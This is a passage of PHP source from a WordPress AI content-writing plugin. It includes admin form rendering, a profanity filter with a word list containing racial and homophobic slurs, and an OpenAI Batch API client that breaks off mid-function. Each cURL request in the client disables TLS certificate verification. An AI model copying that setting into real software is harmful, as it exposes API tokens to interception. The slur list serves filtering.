':</b><span class="tool" data-tip="Supported models: ' . implode(',', aiomatic_get_all_models()) . '"> ⓘ</span> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[custom_shortcodes][]" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="cr_width_full">' . esc_textarea($custom_shortcodes) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Strip Title From Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="strip_title" name="aiomatic_review_list[strip_title][]"'; if($strip_title == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Spin Posts Generated By This Rule", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_spin" name="aiomatic_review_list[skip_spin][]"'; if($skip_spin == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Translate Posts Generated By This Rule", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_translate" name="aiomatic_review_list[skip_translate][]"'; if($skip_translate == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to process each title from the added list only once.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Process Each Title/Keyword Only Once", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="title_once" name="aiomatic_review_list[title_once][]"'; if($title_once == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to overwrite existing posts during the publishing process.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Overwrite Existing Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="overwrite_existing" name="aiomatic_review_list[overwrite_existing][]"'; if($overwrite_existing == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Regex On Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_review_list[strip_by_regex][]" placeholder="regex" class="cr_width_full">' . esc_textarea($strip_by_regex) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Replace Matches From Regex (Content)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_review_list[replace_regex][]" placeholder="regex replacement" class="cr_width_full">' . esc_textarea($replace_regex) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the author that you want to assign for the automatically generated posts.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Author", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="post_author" name="aiomatic_review_list[post_author][]" class="cr_width_full">'; $output .= '<option value="rand"'; if ($post_user_name == "rand") { $output .= " selected"; } $output .= '>' . esc_html__("Random user", 'aiomatic-automatic-ai-content-writer') . '</option>'; $blogusers = get_users( [ 'role__in' => [ 'contributor', 'author', 'editor', 'administrator' ] ] ); foreach ($blogusers as $user) { $output .= '<option value="' . esc_html($user->ID) . '"'; if ($post_user_name == $user->ID) { $output .= " selected"; } $output .= '>' . esc_html($user->display_name) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the status that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Status", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="submit_status" name="aiomatic_review_list[submit_status][]" class="cr_width_full"> <option value="pending"'; if ($status == 'pending') { $output .= ' selected'; } $output .= '>' . esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="draft"'; if ($status == 'draft') { $output .= ' selected'; } $output .= '>' . esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="publish"'; if ($status == 'publish') { $output .= ' selected'; } $output .= '>' . esc_html__("Published", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="private"'; if ($status == 'private') { $output .= ' selected'; } $output .= '>' . esc_html__("Private", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash"'; if ($status == 'trash') { $output .= ' selected'; } $output .= '>' . esc_html__("Trash", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the type (post/page) for your automatically generated item.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Item Type", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="default_type" name="aiomatic_review_list[default_type][]" class="cr_width_full">'; foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } $output .= '<option value="' . esc_attr($post_type) . '"'; if ($def_type == $post_type) { $output .= ' selected'; } $output .= '>' . esc_html($post_type) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__('If your template supports "Post Formats", than you can select one here. If not, leave this at it\'s default value.', 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Generated Post Format", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" id="post_format" name="aiomatic_review_list[post_format][]" class="cr_width_full"> <option value="post-format-standard"'; if ($post_format == 'post-format-standard') { $output .= ' selected'; } $output .= '>' . esc_html__("Standard", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-aside"'; if ($post_format == 'post-format-aside') { $output .= ' selected'; } $output .= '>' . esc_html__("Aside", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-gallery"'; if ($post_format == 'post-format-gallery') { $output .= ' selected'; } $output .= '>' . esc_html__("Gallery", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-link"'; if ($post_format == 'post-format-link') { $output .= ' selected'; } $output .= '>' . esc_html__("Link", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-image"'; if ($post_format == 'post-format-image') { $output .= ' selected'; } $output .= '>' . esc_html__("Image", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-quote"'; if ($post_format == 'post-format-quote') { $output .= ' selected'; } $output .= '>' . esc_html__("Quote", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-status"'; if ($post_format == 'post-format-status') { $output .= ' selected'; } $output .= '>' . esc_html__("Status", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-video"'; if ($post_format == 'post-format-video') { $output .= ' selected'; } $output .= '>' . esc_html__("Video", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-audio"'; if ($post_format == 'post-format-audio') { $output .= ' selected'; } $output .= '>' . esc_html__("Audio", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-chat"'; if ($post_format == 'post-format-chat') { $output .= ' selected'; } $output .= '>' . esc_html__("Chat", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Parent ID", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" class="cr_width_full" name="aiomatic_review_list[parent_id][]" value="' . esc_attr($parent_id) . '" placeholder="Post parent ID" class="cr_width_full"> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable comments for the generated posts?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Enable Comments For Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_comments" name="aiomatic_review_list[enable_comments][]"'; if ($enable_comments == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable pingbacks and trackbacks for the generated posts?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Enable Pingback/Trackback", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_pingback" name="aiomatic_review_list[enable_pingback][]"'; if ($enable_pingback == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( "Do you want to set a custom post publish date for posts? Set the range in the below field Accepted values for this field are listed: <a href='%s' target='_blank'>here</a>. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://www.php.net/manual/en/datetime.formats.php' ) ) . ' </div> </div> <b>' . esc_html__("Set a Custom Post Publish Date Range", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="min_time" name="aiomatic_review_list[min_time][]" value="' . esc_attr($min_time) . '" placeholder="Start time" class="cr_half"> - <input type="text" id="max_time" name="aiomatic_review_list[max_time][]" value="' . esc_attr($max_time) . '" placeholder="End time" class="cr_half"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Custom Fields", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_review_list[custom_fields][]" placeholder="Please insert your desired custom fields. Example: title_custom_field => %%post_title%%" class="cr_width_full">' . esc_textarea($custom_fields) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Custom Taxonomies", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_review_list[custom_tax][]" placeholder="Please insert your desired custom taxonomies. Example: custom_taxonomy_name => %%post_title%%" class="cr_width_full">' . esc_textarea($custom_tax) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Enter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: de", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Assign WPML/Polylang Language to Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" class="cr_width_full" name="aiomatic_review_list[wpml_lang][]" value="' . esc_attr($wpml_lang) . '" placeholder="WPML/Polylang language" class="cr_width_full"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Scheduling Restrictions', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Run This Rule On The Following Days Of The Week", 'aiomatic-automatic-ai-content-writer') . ':</b> <br/>' . esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s") . ' </td><td> <input type="text" class="cr_width_full" name="aiomatic_review_list[days_no_run][]" value="' . esc_attr($days_no_run) . '" placeholder="Mo,Tu,We,Th,Fr,Sa,Su" class="cr_width_full"> </div> </td></tr></table></div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3><span id="aiomatic_ok' . esc_html($cont) . '" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="wpaiomatic-delete">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_review_list[active][]" class="activateDeactivateClass" value="1"'; if (isset($active) && $active === '1') { $output .= ' checked'; } $output .= '/> <input type="hidden" name="aiomatic_review_list[last_run][]" value="' . esc_attr($last_run) . '"/> <input type="hidden" name="aiomatic_review_list[rule_unique_id][]" value="' . esc_attr($rule_unique_id) . '"/></td> <td class="cr_shrt_td2"><div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( 'Shortcode for this rule<br/>(to cross-post from this plugin in other plugins):', 'aiomatic-automatic-ai-content-writer'), array( 'br' => array( ) ) ) ) . '<br/><b>%%aiomatic_3_' . esc_html($cont) . '%% and %%aiomatic_title_3_' . esc_html($cont) . '%%</b><br/>' . esc_html__('Posts Generated:', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($generated_posts) . '<br/>'; if ($generated_posts != 0) { $output .= '<a href="' . get_admin_url() . 'edit.php?coderevolution_post_source=Aiomatic_3_' . esc_html($cont) . '&post_type=' . esc_html($def_type) . '" target="_blank">' . esc_html__('View Generated Posts', 'aiomatic-automatic-ai-content-writer') . '</a><br/>'; } $output .= esc_html__('Last Run: ', 'aiomatic-automatic-ai-content-writer'); if ($last_run == '1988-01-27 00:00:00') { $output .= 'Never'; } else { $output .= $last_run; } $output .= '<br/>' . esc_html__('Next Run: ', 'aiomatic-automatic-ai-content-writer'); if($unlocker == '1') { $nextrun = aiomatic_add_minute($last_run, $schedule); } else { $nextrun = aiomatic_add_hour($last_run, $schedule); } $now = aiomatic_get_date_now(); if (isset($active) && $active === '1') { if($unlocker == '1') { $aiomatic_hour_diff = (int)aiomatic_minute_diff($now, $nextrun); } else { $aiomatic_hour_diff = (int)aiomatic_hour_diff($now, $nextrun); } if ($aiomatic_hour_diff >= 0) { if($unlocker == '1') { $append = 'Now.'; } else { $append = 'Now.'; } $cron = _get_cron_array(); if ($cron != FALSE) { $date_format = _x('Y-m-d H:i:s', 'Date Time Format1', 'aiomatic-automatic-ai-content-writer'); foreach ($cron as $timestamp => $cronhooks) { foreach ((array) $cronhooks as $hook => $events) { if ($hook == 'aiomaticaction') { foreach ((array) $events as $key => $event) { $append = date_i18n($date_format, $timestamp); } } } } } $output .= $append; } else { $output .= $nextrun; } } else { $output .= esc_html__('Rule Disabled', 'aiomatic-automatic-ai-content-writer'); } $output .= '<br/>' . esc_html__('Local Time: ', 'aiomatic-automatic-ai-content-writer') . $now; $output .= '</div> </div></td> <td class="cr_center"> <div> <img id="run_img' . esc_html($cont) . '" src="' . plugin_dir_url(dirname(__FILE__)) . 'images/running.gif' . '" alt="Running" class="cr_status_icon'; if (!empty($running)) { if (!in_array(array($cont => 3), $running)) { $f = fopen(get_temp_dir() . 'aiomatic_3_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_3_' . $cont); } $output .= ' cr_hidden'; } else { $f = fopen(get_temp_dir() . 'aiomatic_3_' . $cont, 'w'); if($f !== false) { if (!flock($f, LOCK_EX | LOCK_NB)) { } else { $output .= ' cr_hidden'; flock($f, LOCK_UN); if (($xxkey = array_search(array($cont => 3), $running)) !== false) { unset($running[$xxkey]); update_option('aiomatic_running_list', $running); } } } } } else { $f = fopen(get_temp_dir() . 'aiomatic_3_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_3_' . $cont); } $output .= ' cr_hidden'; } $output .= '" title="status"> <div class="codemainfzr cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" onchange="actionsChangedManual(' . esc_html($cont) . ', this.value, 3, \'' . esc_html($rule_unique_id) . '\');" onfocus="this.selectedIndex = 0;"> <option value="select" disabled selected>' . esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="run">' . esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="duplicate">' . esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="up">' . esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="down">' . esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash">' . esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="delete">' . esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </div> </td> </tr> '; $cont = $cont + 1; } } return $output; } ?>������������res/swear.php���������������������������������������������������������������������������������������0000644�����������������00000005242�14757771437�0007220 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_filterwords($text) { $filterWords = array( 'shit', 'fuck', 'fucker', 'fucking', 'fucks', 'fuckers', 'nigger', 'niggers', 'motherfucker', 'asshole', 'Assface', 'asswipe', 'assholes', 'pussy', 'faggot', 'faggots', 'fags', 'fag', 'fuckin', 'nigga', 'cockhead', 'cock-head', 'CockSucker', 'cock-sucker', 'cunt', 'cunts', 'cock', 'cocks', 'shitty', 'shittiest', 'shits', 'ass', 'bitch', "bitch's", 'bitches', 'bitchs', 'cock gobbler', 'lesbionic', 'dickhead', 'dick head', 'dickheads', 'dick heads', 'dickhole', 'dick hole', 'gurgle monster', 'cum dumpster', 'Carpet Muncher', 'fatass', 'fat-ass', 'slut', 'Blow Job', 'Clit', 'dildo', 'jackoff', 'jerk-off', 'blow jobs', 'anus', 'bastard', 'bastards', 'butthole', 'buttwipe', 'crap', 'God Damn', 'God Damned', 'God Damnit', 'slut', 'sluts', 'Slutty', 'jizz', 'testicle', 'butt-pirate', 'nutsack', 'nuttsack', 'ahole', 'ash0le', 'ash0les', 'asholes', 'assh0le', 'assh0lez', 'assholz', 'azzhole', 'bassterds', 'bastardz', 'basterds', 'basterdz', 'Biatch', 'c0ck', 'c0cks', 'c0k', 'cawk', 'cawks', 'cuntz', 'dild0', 'dild0s', 'dildos', 'dilld0', 'dilld0s', 'f u c k', 'f u c k e r', 'f u c k i n g', 'fag1t', 'faget', 'fagg1t', 'faggit', 'fagit', 'fagz', 'faig', 'faigs', 'Fudge Packer', 'fuk', 'Fukah', 'Fuken', 'fuker', 'Fukin', 'Fukk', 'Fukker', 'Fukkin', 'jizm', 'slutz', 'assopedia' ); $filterCount = sizeof($filterWords); for ($i = 0; $i < $filterCount; $i++) { $text = preg_replace_callback('/\b' . $filterWords[$i] . '\b/i', function($matches){return str_repeat('*', strlen($matches[0]));}, $text); } return $text; } ?>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-batch-api.php��������������������������������������������������������������������������0000644�����������������00000027443�14757771437�0011522 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_openai_list_batches($token, $limit = 100) { $batches = []; $has_more = true; $after = null; while ($has_more) { $url = 'https://api.openai.com/v1/batches?limit=' . $limit; if ($after) { $url .= '&after=' . $after; } $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to init curl'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('Curl error: ' . $error); } $decodedResponse = json_decode($response, true); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); throw new Exception("Response with Status Code: " . $httpCode . (isset($decodedResponse['error']['message']) ? ', error: ' . $decodedResponse['error']['message'] : '')); } $batches = array_merge($batches, $decodedResponse['data']); $has_more = $decodedResponse['has_more']; $after = $decodedResponse['has_more'] ? end($decodedResponse['data'])['id'] : null; if($after === null) { $has_more = false; } curl_close($ch); } return $batches; } function aiomatic_openai_retrieve_batch($token, $batch_id) { if (empty($batch_id)) { throw new Exception('Batch Request ID cannot be empty'); } $url = "https://api.openai.com/v1/batches/" . $batch_id; $headers = [ "Content-Type: application/json", "Authorization: Bearer " . $token ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception("cURL error: " . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP request failed with code (batch id: ' . $batch_id . ') " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); $decodedResponse = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { throw new Exception('Failed to decode JSON response'); } return $decodedResponse; } function aiomatic_openai_cancel_batch($token, $batch_id) { if (empty($batch_id)) { throw new Exception('Batch Request ID cannot be empty'); } $url = "https://api.openai.com/v1/batches/" . $batch_id . '/cancel'; $headers = [ "Content-Type: application/json", "Authorization: Bearer " . $token ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, 